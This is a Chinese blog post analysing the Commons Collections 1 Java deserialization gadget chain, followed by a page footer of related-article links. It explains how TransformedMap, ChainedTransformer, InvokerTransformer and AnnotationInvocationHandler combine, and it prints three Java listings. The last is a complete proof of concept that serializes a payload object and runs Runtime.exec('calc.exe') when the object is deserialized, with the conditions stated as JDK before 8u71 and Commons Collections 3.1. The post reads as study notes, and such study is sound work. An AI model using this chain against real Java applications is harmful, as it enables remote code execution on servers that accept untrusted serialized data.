[JavaWeb]反序列化分析(二)--CommonCollections1
反序列化分析(二)--CommonCollections1
链子分析
- 首先新建一个TransformedMap,其中二三参数为可控,后续要用到

- 当TransformedMap执行put方法时,会分别执行transformKey和transformValue方法

- 可以看到,两个方法中,都有transform方法,但参数不可控

- 找能触发InvokerTransform的transform方法,而且是无需借用外部传参的那种
分析cc链的时候,最大的体会就是分析可以,但不明白为什么可以想到这么绝的方法?火候不够.
- 可是要执行invokeTransform,那就又少不了外部传参加以控制..
先不管这个ChainedTransformer怎么想到的,就假设已经知道了这个可以把前一个结果当作后一个函数的参数就好了
- 那就说明,还要找一个transform实现类,能够返回Runtime

- 这个类可以返回一个对象,而imap为可控,所以只要知道了input的值,例如为trick,那么iMap['trick']就可以返回一个Runtime,从而可以完成既定目标(但这个还是要借助外部参数,但可行性较高,毕竟一般不会传Runtime作为键值对,但会传一个字符串,感觉又有点像php链子的找法了)
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//创建一个含有Runtime的map
HashMap<String, Runtime> stringRuntimeHashMap = new HashMap<>();
stringRuntimeHashMap.put("Aur0ra", Runtime.getRuntime());
MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(stringRuntimeHashMap);
//传进去作为第一个transformer类
Transformer[] transformers = {
mapTransformer,
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
outerMap.put("name","Aur0ra");
}

其中部分的数据需要同步
因为最后相当于是从那个map中获取指定键的值,所以map构造,以及put的时候,需要注意同步性
可以看到上面的确实可以利用,但前提是知道put的内容,还是有缺陷.所以看下下面官方给的链
这个是完全无需借助不可控变量的

返回的是类中的某个元素,所以是可控的,且与传进来的参数无关
public static void main(String[] args) {
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
outerMap.put("name","Aur0ra"); //任意值,只要有put动作即可
}

- 至此,从TransformerMap->chainedTransformer->ConstantTransformer&InvokerTransformer这条链已经分析清楚了.
一遍下来,有些地方和php链还是相似的,只是说有些trick的跳度稍大,没有开发基础的,比较难以理解(比如我).
完善成可利用的POC
上面只是一个样例POC是手动触发的,现实中还需要一个会自动触发的点,对该Map进行写的操作.所以要先找一个类其中包含可控map,且存在自动触发的反序列化点.
在找AnnotationInvocationHandler的时候,用import导入一直显示没有,但都下了几个jdk,都没有都快放弃了,结果突然发现,标识它不是public类,所以无法被import导入,,,,直接整
- 序列化构造时可能遇到的问题
- AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)的认知
- Runtime类没有实现序列化接口,无法完成序列化。

- 解决方案
- 该<? extends Annotation>代表需要是继承的子类,所以传的时候需要是子类对象的class
- 利用反射,借用InvokerTransformer,让Runtime在反序列化后形成。或者借用其他代码执行的类
- common-collections 3.2.2后加入了安全机制,这里我直接改成了3.1的cc
最终
利用条件
sun.reflect.annotation.AnnotationInvocationHandler的第一个参数不仅要是Annotation的子类,而且还要和后面的Map都拥有一个同名函数
java 8u71前版本,后面的版本中有修改,需要更换利用
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
/**
* 1.让Runtime在序列化后产生
* 2。采用其他方式进行命令执行
*/
/**
Method method = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) method.invoke(null);
r.exec("calc.exe");
*/
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}), //返回一个Runtime
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
hashMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
/**
* AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)
* 这里第一个参数需要是Annotation的子类
*/
Object o = constructor.newInstance(Retention.class, outerMap);
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("1.txt"));
ous.writeObject(o);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(o);
objectOutputStream.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}

总结
hashMap与transformer之间的渊源:一般添加新的值时,为了有一定的规则,这个时候需要用到转换(Transform)相关的东西进行转换。这就是为什么hashMap总是和transform之类的能联想到一起
- invokeTransform -- 能够执行命令
- ConstantTransform -- 不需要依赖参数,可以返回一个可控的内部属性
- chainedTransformer -- 能够将前面产生的结果作为后面的参数,和FilterChain相似
[JavaWeb]反序列化分析(二)--CommonCollections1的更多相关文章
- Java 序列化和反序列化(二)Serializable 源码分析 - 1
目录 Java 序列化和反序列化(二)Serializable 源码分析 - 1 1. Java 序列化接口 2. ObjectOutputStream 源码分析 2.1 ObjectOutputSt ...
- Java安全之SnakeYaml反序列化分析
Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...
- SNMP报文抓取与分析(二)
SNMP报文抓取与分析(二) SNMP报文抓取与分析(二) 1.SNMP报文表示简介 基本编码规则BER 标识域Tag表示 长度域length表示 2.SNMP报文详细分析(以一个get-respon ...
- Fresco 源码分析(二) Fresco客户端与服务端交互(1) 解决遗留的Q1问题
4.2 Fresco客户端与服务端的交互(一) 解决Q1问题 从这篇博客开始,我们开始讨论客户端与服务端是如何交互的,这个交互的入口,我们从Q1问题入手(博客按照这样的问题入手,是因为当时我也是从这里 ...
- yhd日志分析(二)
yhd日志分析(二) 继续yhd日志分析,统计数据 日期 uv pv 登录人数 游客人数 平均访问时长 二跳率 独立ip数 1 分析 登录人数 count(distinct endUserId) 游客 ...
- SQLite入门与分析(二)---设计与概念(续)
SQLite入门与分析(二)---设计与概念(续) 写在前面:本节讨论事务,事务是DBMS最核心的技术之一.在计算机科学史上,有三位科学家因在数据库领域的成就而获ACM图灵奖,而其中之一Jim G ...
- Linux内核启动代码分析二之开发板相关驱动程序加载分析
Linux内核启动代码分析二之开发板相关驱动程序加载分析 1 从linux开始启动的函数start_kernel开始分析,该函数位于linux-2.6.22/init/main.c start_ke ...
- 一些有用的javascript实例分析(二)
原文:一些有用的javascript实例分析(二) 5 求出数组中所有数字的和 window.onload = function () { var oBtn = document.getElement ...
- Android4.0图库Gallery2代码分析(二) 数据管理和数据加载
Android4.0图库Gallery2代码分析(二) 数据管理和数据加载 2012-09-07 11:19 8152人阅读 评论(12) 收藏 举报 代码分析android相册优化工作 Androi ...
随机推荐
- JAVA获取某个月(当月)第一天的开始时刻和某个月(当月)最后一天的最后时刻
package com.date; import java.text.SimpleDateFormat; import java.util.Calendar; public class Test { ...
- NULL在oracle和mysql索引上的区别
一.问题 oracle的btree索引不存储NULL值,所以用is null或is not null都不会用到索引范围扫描,但是在mysql中也是这样吗? 二.实验 先看看NULL在oracle(11 ...
- 【LeetCode】817. Linked List Components 解题报告(Python & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...
- 面试官:this和super有什么区别?this能调用到父类吗?
本文已收录<Java常见面试题>:https://gitee.com/mydb/interview this 和 super 都是 Java 中常见的关键字,虽然二者在很多情况下都可以被省 ...
- 【安卓】AndroidStudio使用本地gradle进行build的配置
1.修改setting使用local gradle2.将下载的gradle-6.7.1-all.zip放入E:/AndroidProject文件夹 修改gradle-wapper.propertie使 ...
- Android物联网应用程序开发(智慧园区)—— 园区监控系统界面
效果图: 布局代码: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:a ...
- 编写Java程序,实现字符串统计和处理
返回本章节 返回作业目录 需求说明: 在控制台输入纯字符的字符串,输出当前字符串的长度. 统计出该字符串中出现相同字母次数最多的字母(不考虑不同字母出现次数相同的情况). 将出现最多次数的字母字母替换 ...
- 【ElasticSearch】异常 Request cannot be executed; I/O reactor status: STOPPED
Caused by: java.lang.RuntimeException: Request cannot be executed; I/O reactor status: STOPPED at or ...
- 新环境chart包helmlint校验
在iot目录内可以执行helm lint iot-api 去校验
- TortoiseGit使用ssh-keygen生成的私钥
1.说明 使用TortoiseGit自带的PuTTY Key Generator工具, 把ssh-keygen生成的私钥转换为Putty使用的.ppk文件, 然后在拉取Git代码时, 加载对应的.pp ...
